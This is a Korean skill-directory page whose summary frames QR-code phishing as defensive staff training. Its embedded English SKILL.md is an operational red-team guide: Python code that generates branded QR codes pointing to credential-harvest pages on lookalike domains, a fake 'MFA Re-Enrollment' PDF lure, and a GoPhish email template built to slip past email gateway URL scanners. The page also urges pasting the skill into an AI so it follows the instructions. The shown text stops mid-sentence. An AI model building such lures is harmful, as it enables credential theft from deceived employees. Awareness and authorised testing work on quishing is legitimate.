본문으로 건너뛰기
Skillpedia
보안6.5k · #14124

quishing

하는 일

이 가이드는 QR 코드를 이용해 사람들을 가짜 로그인 페이지로 보내는 피싱을 설명합니다. 직원을 교육하고 이메일의 QR 코드에 대한 정책을 세우는 보안 팀을 위한 것입니다.

사용하는 경우

  • ✓보안 팀이 QR 코드 피싱을 인식 교육에 추가하려는 경우.
  • ✓메일 팀이 메시지의 QR 코드를 어떻게 스캔하거나 제한할지 정하고 있을 때.
  • ✓허가된 테스트가 방어 팀 통보와 함께 QR 코드 시나리오를 포함하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“QR 코드 피싱을 쉬운 말로 설명하고, 우리 직원을 위한 정책과 교육 예시를 제안해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 QR 코드가 메일 스캐너가 읽지 못할 수 있는 웹 주소를 숨길 수 있는 방식을 설명하고, 교육 포인트와 이메일 QR 코드 규칙을 제안합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

QR-Code Phishing (Quishing)

Email gateway URL scanners parse hyperlinks and anchor tags — they rarely decode QR codes embedded as images. A QR code pointing at a credential-harvest page survives gateway scanning that would flag the same URL in plaintext. Quishing is now the primary bypass for organisations running Proofpoint / Mimecast / Microsoft Defender URL detonation.

Prerequisites

  • Python qrcode + Pillow in the sandbox (pip install qrcode[pil]).
  • GoPhish campaign infrastructure configured (gophish-campaign).
  • A credential-harvest landing page hosted on a lookalike-domain.
  • The lure-deconfliction handshake COMPLETE for this campaign.
  • Optional: EvilQR for dynamic QR payloads with real-time URL rotation.

Quick Reference

# Generate a basic QR code pointing at the harvest URL
python3 -c "
import qrcode
img = qrcode.make('https://login.<LURE_DOMAIN>/auth?id={{.RId}}')
img.save('/tmp/qr_lure.png')
"

# Generate with branding (logo overlay, colours)
python3 << 'PYEOF'
import qrcode
from qrcode.image.styledpil import StyledPilImage
from qrcode.image.styles.moduledrawers import RoundedModuleDrawer
from qrcode.image.styles.colormasks import RadialGradiantColorMask

qr = qrcode.QRCode(error_correction=qrcode.constants.ERROR_CORRECT_H)
qr.add_data('https://login.<LURE_DOMAIN>/auth?id={{.RId}}')
img = qr.make_image(
    image_factory=StyledPilImage,
    module_drawer=RoundedModuleDrawer(),
    color_mask=RadialGradiantColorMask(
        back_color=(255, 255, 255),
        center_color=(0, 51, 153),
        edge_color=(0, 102, 204),
    ),
)
img.save('/tmp/qr_branded.png')
PYEOF

MITRE ATT&CK Mapping

Technique ID Usage
Phishing: Spearphishing Attachment T1566.001 QR code image embedded in PDF / DOCX / email body
User Execution: Malicious Link T1204.001 Victim scans QR, phone browser opens harvest URL
Phishing for Information: Spearphishing Link T1598.003 Credential capture page behind the QR URL

1. QR Code Generation

Generate the QR PNG at error-correction level H (30% redundancy) so a centre logo can overlay up to 30% of modules without breaking decode:

import qrcode

HARVEST_URL = "https://login.<LURE_DOMAIN>/auth?id=<TRACKING_ID>"

qr = qrcode.QRCode(
    version=None,           # auto-size
    error_correction=qrcode.constants.ERROR_CORRECT_H,
    box_size=10,
    border=4,
)
qr.add_data(HARVEST_URL)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
img.save("/workspace/qr_lure.png")

To overlay a corporate logo in the centre (improves trust cues):

from PIL import Image

qr_img = Image.open("/workspace/qr_lure.png").convert("RGBA")
logo = Image.open("/workspace/target_logo.png").resize((60, 60))
pos = ((qr_img.size[0] - logo.size[0]) // 2,
       (qr_img.size[1] - logo.size[1]) // 2)
qr_img.paste(logo, pos, logo)
qr_img.save("/workspace/qr_branded.png")

2. Embedding in PDF

Build a PDF that mimics an IT notice (MFA re-enrollment, password policy update) with the QR image inline. The PDF body contains no clickable URL — only the image — so URL scanners see nothing.

from fpdf import FPDF

pdf = FPDF()
pdf.add_page()
pdf.set_font("Helvetica", "B", 16)
pdf.cell(0, 10, "Action Required: MFA Re-Enrollment", ln=True, align="C")
pdf.ln(8)
pdf.set_font("Helvetica", "", 11)
pdf.multi_cell(0, 6,
    "Our identity provider requires all employees to re-enroll their "
    "MFA token by <DEADLINE>. Scan the QR code below with your mobile "
    "device to complete the process.")
pdf.ln(6)
pdf.image("/workspace/qr_branded.png", x=65, w=80)
pdf.ln(6)
pdf.set_font("Helvetica", "I", 9)
pdf.cell(0, 6, "IT Security — Do not forward this document.", align="C")
pdf.output("/workspace/mfa_reenroll.pdf")

3. Embedding in Email Body (Inline Image)

Attach the QR as an inline CID image so it renders inside the email body rather than as a downloadable attachment:

# GoPhish template HTML — embed the QR as a CID-referenced inline image
cat > /workspace/qr_template.html << 'HTML'
<html><body style="font-family:Segoe UI,sans-serif;">
<p>Dear {{.FirstName}},</p>
<p>Please scan the QR code below to verify your account:</p>
<p style="text-align:center;">
  <img src="cid:qr_lure" width="200" height="200" alt="QR Code" />
</p>
<p style="font-size:11px;color:#666;">
  IT Security Team — <TARGET_ORG><br/>
  {{.Tracker}}
</p>
</body></html>
HTML

When sending via GoPhish, add

자주 묻는 질문

QR 피싱이 왜 잡기 더 어렵나요?

많은 메일 스캐너가 텍스트의 웹 링크는 읽지만 QR 이미지는 해독하지 않을 수 있다고 가이드는 말합니다.

직원은 무엇을 해야 하나요?

스캔 후 표시되는 주소를 확인하고, 이메일로 받은 링크에서 로그인하지 않아야 합니다.

어떤 정책이 도움이 되나요?

예상치 못한 이메일의 QR 코드를 의심스럽게 보고, 스캔 전에 별도 확인을 요구하는 것입니다.

상세 정보

작성자의 원본 설명

QR-code phishing (Quishing) — generate QR lures embedding credential-harvest URLs, embed in PDF or email bodies, bypass email gateway URL scanners that cannot parse QR image payloads.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14124
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬